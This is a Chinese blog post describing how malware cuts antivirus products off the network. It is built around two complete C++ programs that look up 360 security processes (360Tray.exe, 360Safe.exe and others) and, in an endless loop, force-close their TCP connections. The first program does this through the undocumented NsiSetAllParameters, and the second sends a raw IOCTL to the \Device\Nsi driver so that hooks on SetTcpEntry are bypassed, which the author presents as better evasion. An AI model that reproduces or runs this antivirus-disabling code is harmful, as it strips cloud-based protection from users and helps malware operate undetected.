Administrator
发布于 2025-06-17 / 34 阅读
0

揭秘数字安全产品断网机制:从 SetTcpEntry 到 NsiSetAllParameters

在当前的安全防护体系中,越来越多的安全产品(如数字等)采用“云依赖”模式 —— 核心规则、主动防护、样本查杀全部由云端驱动。根据最新的银狐样本发现小黑们针对数字做了定向断网,一旦失去网络连接,它的“战斗力”将迅速下降。

我们直奔主题 GetTcpTable(2) 和 SetTcpEntry

GetTcpTable2函数 https://learn.microsoft.com/en-us/windows/win32/api/iphlpapi/nf-iphlpapi-gettcptable2

GetTcpTable2 用于检索系统当前的 TCP 连接信息(IPv4 和 IPv6),包括连接的本地地址、远程地址、状态等。

原型如下:

IPHLPAPI_DLL_LINKAGE ULONG GetTcpTable2(
  [out]     PMIB_TCPTABLE2 TcpTable,
  [in, out] PULONG         SizePointer,
  [in]      BOOL           Order
);

参数说明:

  • TcpTable: 指向 MIB_TCPTABLE2 结构体的指针,保存返回的 TCP 表。

  • SizePointer: 输入/输出参数,表示缓冲区大小(以字节为单位)。如果缓冲区不够,函数会返回 ERROR_INSUFFICIENT_BUFFER 并通过该参数返回所需大小。

  • Order: 是否按照连接的本地地址升序排列。

SetTcpEntry函数 https://learn.microsoft.com/en-us/windows/win32/api/iphlpapi/nf-iphlpapi-settcpentry

SetTcpEntry 用于修改一个现有的 TCP 连接的状态,比如强制关闭连接(改为 DELETE_TCB 状态)。

原型如下:

IPHLPAPI_DLL_LINKAGE DWORD SetTcpEntry(
  [in] PMIB_TCPROW pTcpRow
);

参数说明:

  • pTcpRow: 指向 MIB_TCPROW 的指针,用于指定要更改的 TCP 条目。.

通过这两个Api的描述我们就不难猜出可以通过获取所有的TCP连接列表,然后筛选特定进程的连接强行关闭,这样就可以 精确地断开某个特定程序所建立的所有网络连接,而不影响其他程序。

实现如下逻辑:

获取某进程的所有 TCP 连接 → 找出其 PID → 遍历连接 → 强制关闭连接。

那么我们思考一下如果 SetTcpEntry 被安全产品 Hook 掉(比如通过 API 拦截、Inline Hook),那这条路就走不通了,怎么办 ?我们不妨去看一眼底层的实现重点是看SetTcpEntry

通过反汇编 iphlpapi.dll 中的 SetTcpEntry,可以发现它的底层并不是直接修改 TCP 表,而是依赖了NsiSetAllParameters 这是一个非公开(Undocumented)的 Windows 内部函数,属于 NSI(Network Store Interface)服务的 API 范畴,主要用于设置网络堆栈中的参数。

推断的函数原型如下:

typedef NTSTATUS (NTAPI* NsiSetAllParameters_t)(
    HANDLE NsiHandle,
    DWORD ObjectIndex,
    DWORD ObjectType,
    PVOID InputBuffer,
    DWORD InputBufferLength,
    PVOID OutputBuffer,
    DWORD OutputBufferLength
);

也就是说我们可以手动实现一个 SetTcpEntry 避免使用 SetTcpEntry

我们需要关注一下他的这些参数,比如 NPI_MS_TCP_MODULEID

这是一个 GUID结构,用来标识TCP 协议模块告诉 NsiSetAllParameters 要对哪一类协议数据执行操作。(猜的)

还原就是

BYTE NPI_MS_TCP_MODULEID[] = { 0x18, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, 0x4A, 0x00, 0xEB, 0x1A, 0x9B, 0xD4, 0x11, 0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC };

正当我准备苦逼的手搓时发现已经有前辈走在前面,再仔细一看,Emmmm以前看过只是失去了记忆。

实现如下:

#include <windows.h>
#include <tlhelp32.h>
#include <iphlpapi.h>
#include <iostream>
#include <string>
#include <vector>

#pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "Psapi.lib")

// Undocumented TCP module ID for NSI (24 bytes)
BYTE NPI_MS_TCP_MODULEID[] = {
    0x18, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x03, 0x4A, 0x00, 0xEB, 0x1A, 0x9B, 0xD4, 0x11,
    0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC
};

// Structure expected by NsiSetAllParameters to represent a TCP socket
struct TcpKillParamsIPv4 {
    WORD  localAddrFamily;
    WORD  localPort;
    DWORD localAddr;
    BYTE  reserved1[20];

    WORD  remoteAddrFamily;
    WORD  remotePort;
    DWORD remoteAddr;
    BYTE  reserved2[20];
};

// Custom replacement for SetTcpEntry using undocumented NSI API
DWORD MySetTcpEntry(MIB_TCPROW_OWNER_PID* pTcpRow) {
    typedef DWORD(WINAPI* NsiSetAllParameters_t)(
        DWORD, DWORD, LPVOID, DWORD, LPVOID, DWORD, LPVOID, DWORD
        );

    // Load NSI module and resolve function
    HMODULE hNsi = LoadLibraryA("nsi.dll");
    if (!hNsi)
        return 1;

    NsiSetAllParameters_t pNsiSetAllParameters =
        (NsiSetAllParameters_t)GetProcAddress(hNsi, "NsiSetAllParameters");
    if (!pNsiSetAllParameters)
        return 1;

    // Prepare input data for socket termination
    TcpKillParamsIPv4 params = { 0 };
    params.localAddrFamily = AF_INET;
    params.localPort = (WORD)pTcpRow->dwLocalPort;
    params.localAddr = pTcpRow->dwLocalAddr;
    params.remoteAddrFamily = AF_INET;
    params.remotePort = (WORD)pTcpRow->dwRemotePort;
    params.remoteAddr = pTcpRow->dwRemoteAddr;

    // Issue command to kill the TCP connection
    DWORD result = pNsiSetAllParameters(
        1,                              // Unknown / static
        2,                              // Action code
        (LPVOID)NPI_MS_TCP_MODULEID,   // TCP module identifier
        16,                             // IO code (guessed)
        &params, sizeof(params),       // Input buffer
        nullptr, 0                     // Output buffer (unused)
    );

    return result;
}

std::vector<DWORD> GetPidsByProcessName(const std::wstring& processName) {
    std::vector<DWORD> pids;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        wprintf(L"[!] CreateToolhelp32Snapshot failed.\\n");
        return pids;
    }

    PROCESSENTRY32W pe;
    pe.dwSize = sizeof(pe);
    if (!Process32FirstW(snapshot, &pe)) {
        CloseHandle(snapshot);
        wprintf(L"[!] Process32FirstW failed.\\n");
        return pids;
    }

    do {
        if (processName == pe.szExeFile) {
            pids.push_back(pe.th32ProcessID);
            wprintf(L"[+] Found process: %s (PID: %lu)\\n", pe.szExeFile, pe.th32ProcessID);
        }
    } while (Process32NextW(snapshot, &pe));

    CloseHandle(snapshot);
    return pids;
}

void CloseTcpConnectionsByPid(DWORD pid) {
    DWORD size = 0;
    PMIB_TCPTABLE2 tcpTable = nullptr;

    if (GetTcpTable2(nullptr, &size, TRUE) != ERROR_INSUFFICIENT_BUFFER) {
        wprintf(L"[!] Failed to query TCP table size.\\n");
        return;
    }

    tcpTable = (PMIB_TCPTABLE2)malloc(size);
    if (!tcpTable) {
        wprintf(L"[!] Memory allocation failed.\\n");
        return;
    }

    if (GetTcpTable2(tcpTable, &size, TRUE) != NO_ERROR) {
        free(tcpTable);
        wprintf(L"[!] Failed to get TCP table.\\n");
        return;
    }

    int closedCount = 0;
    for (DWORD i = 0; i < tcpTable->dwNumEntries; ++i) {
        MIB_TCPROW2& row = tcpTable->table[i];
        if (row.dwOwningPid == pid && row.dwState == MIB_TCP_STATE_ESTAB) {
            MIB_TCPROW2 rowToSet = row;
            rowToSet.dwState = MIB_TCP_STATE_DELETE_TCB;

            DWORD result = MySetTcpEntry((MIB_TCPROW_OWNER_PID*)&row);
            if (result == NO_ERROR) {
                closedCount++;
                IN_ADDR localAddr = { row.dwLocalAddr };
                IN_ADDR remoteAddr = { row.dwRemoteAddr };
                wprintf(L"    [-] Closed TCP connection: %S:%d -> %S:%d\\n",
                    inet_ntoa(localAddr), ntohs((u_short)row.dwLocalPort),
                    inet_ntoa(remoteAddr), ntohs((u_short)row.dwRemotePort));
            }
            else {
                wprintf(L"    [!] Failed to close connection. Error code: %lu\\n", result);
            }
        }
    }

    if (closedCount > 0) {
        wprintf(L"[=] Closed %d connections for PID %lu\\n", closedCount, pid);
    }

    free(tcpTable);
}

int wmain(int argc, wchar_t* argv[]) {
    std::vector<std::wstring> targetProcs = { L"360Tray.exe", L"360Safe.exe", L"LiveUpdate360.exe", L"safesvr.exe", L"360leakfixer.exe"};

    wprintf(L"[*] Starting connection monitor...\\n");

    while (true) {
        for (const auto& procName : targetProcs) {
            std::vector<DWORD> pids = GetPidsByProcessName(procName);
            for (DWORD pid : pids) {
                CloseTcpConnectionsByPid(pid);
            }
        }
    }

    return 0;
}

这样我们进阶实现了略底层的小玩具,依旧可以保持阻断网络。

前面我们调用的是 nsi.dll 中导出的 NsiSetAllParameters。但其实这个函数的本质就是:

构造一个结构体 → 调用 NtDeviceIoControlFile → 与 \\.\Nsi 驱动通信 → 让内核修改 TCP 状态

我们现在要做的就是: 跳过 nsi.dll,完全不依赖其封装,自己来实现这套流程。

NsiSetAllParameters 实际上传的是一个 0x48 字节的结构体,组成如下(我瞎写的):

struct NSI_SET_PARAMETERS_EX {
    PVOID reserved0;     // 0x00
    PVOID reserved1;     // 0x08
    PVOID pModuleId;     // 0x10 - 指向 TCP 模块 ID(GUID结构或BYTE数组)
    DWORD dwIoCode;      // 0x18 - 固定 16
    DWORD dwUnused1;     // 0x1C
    DWORD a1;            // 0x20
    DWORD a2;            // 0x24
    PVOID pInputBuffer;  // 0x28
    DWORD cbInputBuffer; // 0x30
    DWORD dwUnused2;     // 0x34
    PVOID pMetricBuffer; // 0x38
    DWORD cbMetricBuffer;// 0x40
    DWORD dwUnused3;     // 0x44
};

我们计划的流程是:


构造 NSI_SET_PARAMETERS_EX →
  调用 NtDeviceIoControlFile →
    操作 \\Device\\Nsi →
      执行协议堆栈层断网

隐约间我们可以明白:

  • Windows 网络栈的 底层通信机制是开放的(设备接口、协议模块)

  • 只要掌握结构和调用方式,就能控制网络连接的生死

很好这里省略我的悲伤过程,直接上结果:

#include <windows.h>
#include <tlhelp32.h>
#include <iphlpapi.h>
#include <iostream>
#include <string>
#include <vector>

#pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "Psapi.lib")

// ---------------------------------------------
// Dynamic NT Native Function Pointers
// ---------------------------------------------

typedef NTSTATUS(WINAPI* NtDeviceIoControlFile_t)(
    HANDLE, HANDLE, PVOID, PVOID,
    PVOID, ULONG, PVOID, ULONG, PVOID, ULONG);

typedef NTSTATUS(WINAPI* NtWaitForSingleObject_t)(
    HANDLE, BOOLEAN, PLARGE_INTEGER);

typedef ULONG(WINAPI* RtlNtStatusToDosError_t)(NTSTATUS);

// Global function pointers
NtDeviceIoControlFile_t pNtDeviceIoControlFile = nullptr;
NtWaitForSingleObject_t pNtWaitForSingleObject = nullptr;
RtlNtStatusToDosError_t pRtlNtStatusToDosError = nullptr;

//IO_STATUS_BLOCK
typedef struct _IO_STATUS_BLOCK {
    union {
        NTSTATUS Status;
        PVOID Pointer;
    };
    ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;

typedef struct _NSI_SET_PARAMETERS_EX {
    PVOID Reserved0;          // 0x00
    PVOID Reserved1;          // 0x08
    PVOID ModuleId;           // 0x10
    DWORD IoCode;             // 0x18
    DWORD Unused1;            // 0x1C
    DWORD Param1;             // 0x20
    DWORD Param2;             // 0x24
    PVOID InputBuffer;        // 0x28
    DWORD InputBufferSize;    // 0x30
    DWORD Unused2;            // 0x34
    PVOID MetricBuffer;       // 0x38
    DWORD MetricBufferSize;   // 0x40
    DWORD Unused3;            // 0x44
} NSI_SET_PARAMETERS_EX;

bool LoadNtFunctions() {
    HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
    if (!ntdll) return false;

    pNtDeviceIoControlFile = (NtDeviceIoControlFile_t)GetProcAddress(ntdll, "NtDeviceIoControlFile");
    pNtWaitForSingleObject = (NtWaitForSingleObject_t)GetProcAddress(ntdll, "NtWaitForSingleObject");
    pRtlNtStatusToDosError = (RtlNtStatusToDosError_t)GetProcAddress(ntdll, "RtlNtStatusToDosError");

    return pNtDeviceIoControlFile && pNtWaitForSingleObject && pRtlNtStatusToDosError;
}

#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

ULONG NsiIoctl(
    DWORD dwIoControlCode,
    LPVOID lpInBuffer,
    DWORD nInBufferSize,
    LPVOID lpOutBuffer,
    LPDWORD lpBytesReturned,
    LPOVERLAPPED lpOverlapped
) {
    static HANDLE hDevice = INVALID_HANDLE_VALUE;
    if (hDevice == INVALID_HANDLE_VALUE) {
        HANDLE h = CreateFileW(L"\\\\\\\\.\\\\Nsi", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
        if (h == INVALID_HANDLE_VALUE)
            return GetLastError();
        if (InterlockedCompareExchangePointer(&hDevice, h, INVALID_HANDLE_VALUE) != INVALID_HANDLE_VALUE)
            CloseHandle(h);
    }

    if (lpOverlapped) {
        if (!DeviceIoControl(hDevice, dwIoControlCode, lpInBuffer, nInBufferSize,
            lpOutBuffer, *lpBytesReturned, lpBytesReturned, lpOverlapped)) {
            return GetLastError();
        }
        return 0;
    }

    HANDLE hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr);
    if (!hEvent) return GetLastError();

    IO_STATUS_BLOCK ioStatus = { 0 };
    NTSTATUS status = pNtDeviceIoControlFile(
        hDevice,
        hEvent,
        nullptr, nullptr,
        &ioStatus,
        dwIoControlCode,
        lpInBuffer,
        nInBufferSize,
        lpOutBuffer,
        *lpBytesReturned
    );

    if (status == STATUS_PENDING) {
        status = pNtWaitForSingleObject(hEvent, FALSE, nullptr);
        if (NT_SUCCESS(status))
            status = ioStatus.Status;
    }

    CloseHandle(hEvent);
    if (!NT_SUCCESS(status))
        return pRtlNtStatusToDosError(status);

    *lpBytesReturned = (DWORD)ioStatus.Information;
    return 0;
}

ULONG MyNsiSetAllParameters(
    DWORD a1,
    DWORD a2,
    PVOID pModuleId,
    DWORD dwIoCode,
    PVOID pInputBuffer,
    DWORD cbInputBuffer,
    PVOID pMetricBuffer,
    DWORD cbMetricBuffer
) {
    NSI_SET_PARAMETERS_EX params = { 0 };
    DWORD cbReturned = sizeof(params);

    params.ModuleId = pModuleId;
    params.IoCode = dwIoCode;
    params.Param1 = a1;
    params.Param2 = a2;
    params.InputBuffer = pInputBuffer;
    params.InputBufferSize = cbInputBuffer;
    params.MetricBuffer = pMetricBuffer;
    params.MetricBufferSize = cbMetricBuffer;

    return NsiIoctl(
        0x120013,               // IOCTL code
        &params,
        sizeof(params),
        &params,
        &cbReturned,
        nullptr
    );
}

// Undocumented TCP module ID for NSI (24 bytes)
BYTE NPI_MS_TCP_MODULEID[] = {
    0x18, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x03, 0x4A, 0x00, 0xEB, 0x1A, 0x9B, 0xD4, 0x11,
    0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC
};

// Structure expected by NsiSetAllParameters to represent a TCP socket
struct TcpKillParamsIPv4 {
    WORD  localAddrFamily;
    WORD  localPort;
    DWORD localAddr;
    BYTE  reserved1[20];

    WORD  remoteAddrFamily;
    WORD  remotePort;
    DWORD remoteAddr;
    BYTE  reserved2[20];
};

// Custom replacement for SetTcpEntry using undocumented NSI API
DWORD MySetTcpEntry(MIB_TCPROW_OWNER_PID* pTcpRow) {

    // Prepare input data for socket termination
    TcpKillParamsIPv4 params = { 0 };
    params.localAddrFamily = AF_INET;
    params.localPort = (WORD)pTcpRow->dwLocalPort;
    params.localAddr = pTcpRow->dwLocalAddr;
    params.remoteAddrFamily = AF_INET;
    params.remotePort = (WORD)pTcpRow->dwRemotePort;
    params.remoteAddr = pTcpRow->dwRemoteAddr;

    // Issue command to kill the TCP connection
    DWORD result = MyNsiSetAllParameters(
        1,                              // Unknown / static
        2,                              // Action code
        (LPVOID)NPI_MS_TCP_MODULEID,   // TCP module identifier
        16,                             // IO code (guessed)
        &params, sizeof(params),       // Input buffer
        nullptr, 0                     // Output buffer (unused)
    );

    return result;
}

std::vector<DWORD> GetPidsByProcessName(const std::wstring& processName) {
    std::vector<DWORD> pids;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        wprintf(L"[!] CreateToolhelp32Snapshot failed.\\n");
        return pids;
    }

    PROCESSENTRY32W pe;
    pe.dwSize = sizeof(pe);
    if (!Process32FirstW(snapshot, &pe)) {
        CloseHandle(snapshot);
        wprintf(L"[!] Process32FirstW failed.\\n");
        return pids;
    }

    do {
        if (processName == pe.szExeFile) {
            pids.push_back(pe.th32ProcessID);
            wprintf(L"[+] Found process: %s (PID: %lu)\\n", pe.szExeFile, pe.th32ProcessID);
        }
    } while (Process32NextW(snapshot, &pe));

    CloseHandle(snapshot);
    return pids;
}

void CloseTcpConnectionsByPid(DWORD pid) {
    DWORD size = 0;
    PMIB_TCPTABLE2 tcpTable = nullptr;

    if (GetTcpTable2(nullptr, &size, TRUE) != ERROR_INSUFFICIENT_BUFFER) {
        wprintf(L"[!] Failed to query TCP table size.\\n");
        return;
    }

    tcpTable = (PMIB_TCPTABLE2)malloc(size);
    if (!tcpTable) {
        wprintf(L"[!] Memory allocation failed.\\n");
        return;
    }

    if (GetTcpTable2(tcpTable, &size, TRUE) != NO_ERROR) {
        free(tcpTable);
        wprintf(L"[!] Failed to get TCP table.\\n");
        return;
    }

    int closedCount = 0;
    for (DWORD i = 0; i < tcpTable->dwNumEntries; ++i) {
        MIB_TCPROW2& row = tcpTable->table[i];
        if (row.dwOwningPid == pid && row.dwState == MIB_TCP_STATE_ESTAB) {
            MIB_TCPROW2 rowToSet = row;
            rowToSet.dwState = MIB_TCP_STATE_DELETE_TCB;

            DWORD result = MySetTcpEntry((MIB_TCPROW_OWNER_PID*)&row);
            if (result == NO_ERROR) {
                closedCount++;
                IN_ADDR localAddr = { row.dwLocalAddr };
                IN_ADDR remoteAddr = { row.dwRemoteAddr };
                wprintf(L"    [-] Closed TCP connection: %S:%d -> %S:%d\\n",
                    inet_ntoa(localAddr), ntohs((u_short)row.dwLocalPort),
                    inet_ntoa(remoteAddr), ntohs((u_short)row.dwRemotePort));
            }
            else {
                wprintf(L"    [!] Failed to close connection. Error code: %lu\\n", result);
            }
        }
    }

    if (closedCount > 0) {
        wprintf(L"[=] Closed %d connections for PID %lu\\n", closedCount, pid);
    }

    free(tcpTable);
}

int wmain(int argc, wchar_t* argv[]) {

    LoadNtFunctions();

    std::vector<std::wstring> targetProcs = { L"360Tray.exe", L"360Safe.exe", L"LiveUpdate360.exe", L"safesvr.exe", L"360leakfixer.exe"};

    wprintf(L"[*] Starting connection monitor...\\n");

    while (true) {
        for (const auto& procName : targetProcs) {
            std::vector<DWORD> pids = GetPidsByProcessName(procName);
            for (DWORD pid : pids) {
                CloseTcpConnectionsByPid(pid);
            }
        }
    }

    return 0;
}

现在我们就拥有了一个最底层的 SetTcpEntry ,规避的能力也大大的提升。